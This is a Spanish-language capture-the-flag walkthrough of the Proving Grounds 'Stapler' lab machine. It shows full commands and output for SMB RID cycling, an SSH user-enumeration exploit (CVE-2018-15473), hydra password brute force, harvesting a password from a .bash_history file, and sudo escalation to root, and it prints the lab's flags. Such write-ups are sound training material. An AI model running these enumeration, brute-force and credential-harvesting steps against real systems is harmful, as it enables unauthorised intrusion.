the_open_door
café
ESEN

Stapler

Proving Grounds PlayMediaLinux192.168.144.148

La IP puede variar: en algún momento hubo que reiniciar el entorno, así que en las capturas y comandos podría aparecer una dirección distinta. Sustitúyela por la de tu instancia.

#oscp#smb#enum4linux#rid-brute#ssh-user-enum#cve-2018-15473#brute-force#hydra#bash-history#credential-reuse#sudo-group
TL;DR. Samba entrega la lista completa de usuarios locales por RID brute (SID S-1-22-1), y el OpenSSH 7.2 confirma cuentas por user enumeration (CVE-2018-15473). Con esa lista, hydra prueba usuario=contraseña por SSH y cae SHayslett:SHayslett. En /home, el .bash_history de JKanode guarda sshpass -p JZQuyIN5 ssh peter@localhost, es decir la contraseña de peter; y peter está en el grupo sudo, así que un sudo su da root.

Reconocimiento

Escaneo inicial

TTL 61 → Linux: Linux inicia el TTL en 64 y cada salto de routing lo decrementa, así que 61 = 64−3; indicio, no prueba (se puede falsificar), lo confirma el escaneo de servicios. En UDP asoma NetBIOS (137), y en TCP hay un abanico grande, con SMB y SSH como los dos frentes útiles:

sudo nmap -sU --top-ports 1000 -Pn -n --open 192.168.144.148
sudo nmap -sS -Pn -p- --min-rate 5000 --open 192.168.144.148
PORT      STATE SERVICE
21/tcp    open  ftp
22/tcp    open  ssh
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn
666/tcp   open  doom
3306/tcp  open  mysql
12380/tcp open  unknown
nmap -p21,22,53,80,139,666,3306,12380 -sCV 192.168.144.148 -oN targetedScan
PORT      STATE SERVICE     VERSION
21/tcp    open  ftp
22/tcp    open  ssh         OpenSSH 7.2p2 Ubuntu 4
53/tcp    open  domain
80/tcp    open  http
139/tcp   open  netbios-ssn Samba smbd 4.3.9-Ubuntu (workgroup: WORKGROUP)
666/tcp   open  doom
3306/tcp  open  mysql
12380/tcp open  unknown

SSH - TCP 22 (user enumeration)

OpenSSH 7.2p2 es anterior a la 7.7, vulnerable a enumeración de usuarios por CVE-2018-15473: el servidor responde de forma distinguible ante un usuario válido frente a uno inexistente. Sirve para confirmar cuentas antes de un ataque de contraseña:

searchsploit -m linux/remote/45939.py
python2 45939.py 192.168.144.148 _apt      # [+] _apt is a valid username
python2 45939.py 192.168.144.148 _pt       # [-] invalid

Probar nombre a nombre no escala, así que el exploit se envuelve en un bucle que lo lanza sobre una lista de nombres candidatos y solo imprime los que el servidor confirma como válidos:

./ssh_user_enum.sh

La enumeración por SSH confirma los usuarios mail, peter, news, jamie, man, bin y games como existentes

[+] User: mail exists
[+] User: peter exists
[+] User: news exists
[+] User: jamie exists
[+] User: man exists
[+] User: bin exists
[+] User: games exists

Entre los confirmados aparece peter, que más adelante resultará ser la pieza clave. Aun así, esta vía solo valida nombres que ya conocemos o adivinamos; para obtener la lista completa hace falta el SMB.

SMB - TCP 139 (RID brute)

enum4linux saca la lista completa de usuarios del sistema recorriendo el SID S-1-22-1 (los usuarios Unix locales, RID cycling):

enum4linux 192.168.144.148
S-1-22-1-1000 Unix User\peter
S-1-22-1-1005 Unix User\SHayslett
S-1-22-1-1013 Unix User\JKanode
... (30 usuarios: RNunemaker, ETollefson, MBassin, jamie, elly, www ...)

Se limpia a un userlist de 30 nombres, que es justo lo que necesita un ataque de contraseña.

Shell como SHayslett

Fuerza bruta SSH (usuario = contraseña)

Con la lista de usuarios, hydra prueba por SSH usando el mismo fichero como diccionario de usuarios y de contraseñas: la apuesta clásica de que alguien tenga la contraseña igual al nombre de usuario. Cae:

hydra -L userlist -P userlist -t 64 ssh://192.168.144.148 -I
# [22][ssh] host: 192.168.144.148  login: SHayslett  password: SHayslett

SSH como SHayslett tras la fuerza bruta

SHayslett@red:~$ cat local.txt && hostname
ed53f1659f1c050be8d390e21c9c54eb
red.initech

local.txt leída como SHayslett en el host red.initech

Shell como peter

Credenciales en .bash_history

SHayslett puede leer los /home de otros usuarios. Un grep recursivo por "pass" saca oro del historial de JKanode:

grep -ri pass /home 2>/dev/null
./JKanode/.bash_history:sshpass -p thisimypassword ssh JKanode@localhost
./JKanode/.bash_history:sshpass -p JZQuyIN5 ssh peter@localhost

El historial de JKanode deja escritas dos contraseñas en claro, y una de ellas es la de peter (JZQuyIN5). peter es interesante porque está en el grupo sudo:

id peter        # ...,27(sudo)
su peter        # contraseña: JZQuyIN5

su peter con la contraseña del .bash_history da shell como peter

SHayslett@red:/home$ su peter
Password:
red% whoami
peter

su peter con JZQuyIN5 (la contraseña del .bash_history) nos deja como peter, miembro del grupo sudo.

Escalada de Privilegios

Abuso del grupo sudo

peter pertenece al grupo sudo, que en Ubuntu concede sudo sin restricción de comando. No hace falta buscar un binario concreto: sudo su da directamente una shell de root:

sudo su

sudo su como peter: tras la contraseña, script /dev/null -c bash y whoami devuelve root

red% sudo su

We trust you have received the usual lecture from the local System
Administrator. It usually boils down to these three things:

    #1) Respect the privacy of others.
    #2) Think before you type.
    #3) With great power comes great responsibility.

[sudo] password for peter:
/home  script /dev/null -c bash
Script started, file is /dev/null
root@red:/home# whoami
root

El sudo su pide la contraseña del propio peter (la misma JZQuyIN5 del historial) y devuelve una shell de root; el script /dev/null -c bash posterior solo sirve para dejar un prompt cómodo.

local.txt / proof.txt

SHayslett@red:~$ cat local.txt
ed53f1659f1c050be8d390e21c9c54eb

root@red:~# cat proof.txt
58f432bb0e33c5350e8408954f9fe79b

proof.txt leído como root

Cadena de ataque

Samba (139) → enum4linux RID brute (SID S-1-22-1) → 30 usuarios
  (+ OpenSSH 7.2 user enum CVE-2018-15473 confirma cuentas)
  └─ hydra -L userlist -P userlist ssh → SHayslett:SHayslett
     └─ grep -ri pass /home → JKanode/.bash_history: peter:JZQuyIN5
        └─ su peter (grupo sudo)
           └─ sudo su → root

Lecciones aprendidas

  • Samba expone los usuarios Unix locales por el SID S-1-22-1; el RID cycling con enum4linux los recorre sin credenciales y construye la lista de objetivos para el ataque de contraseña.
  • OpenSSH < 7.7 filtra la validez de usuarios (CVE-2018-15473) por diferencias de tiempo/respuesta; es una fuente de confirmación de cuentas independiente del SMB.
  • Reutilizar el nombre de usuario como contraseña sigue apareciendo: hydra -L userlist -P userlist (mismo fichero para ambos) es una prueba barata que aquí abre la primera puerta.
  • Los .bash_history legibles son un tesoro: sshpass -p <key> deja contraseñas en claro. Un grep -ri pass /home es de las primeras cosas que hacer con cualquier shell.
  • El grupo sudo en Debian/Ubuntu es equivalente a root: pertenecer a él permite sudo su sin más. La contraseña de un usuario en ese grupo es, a efectos prácticos, la contraseña de root.
Cheatsheet de comandos 9 comandos

Repaso rápido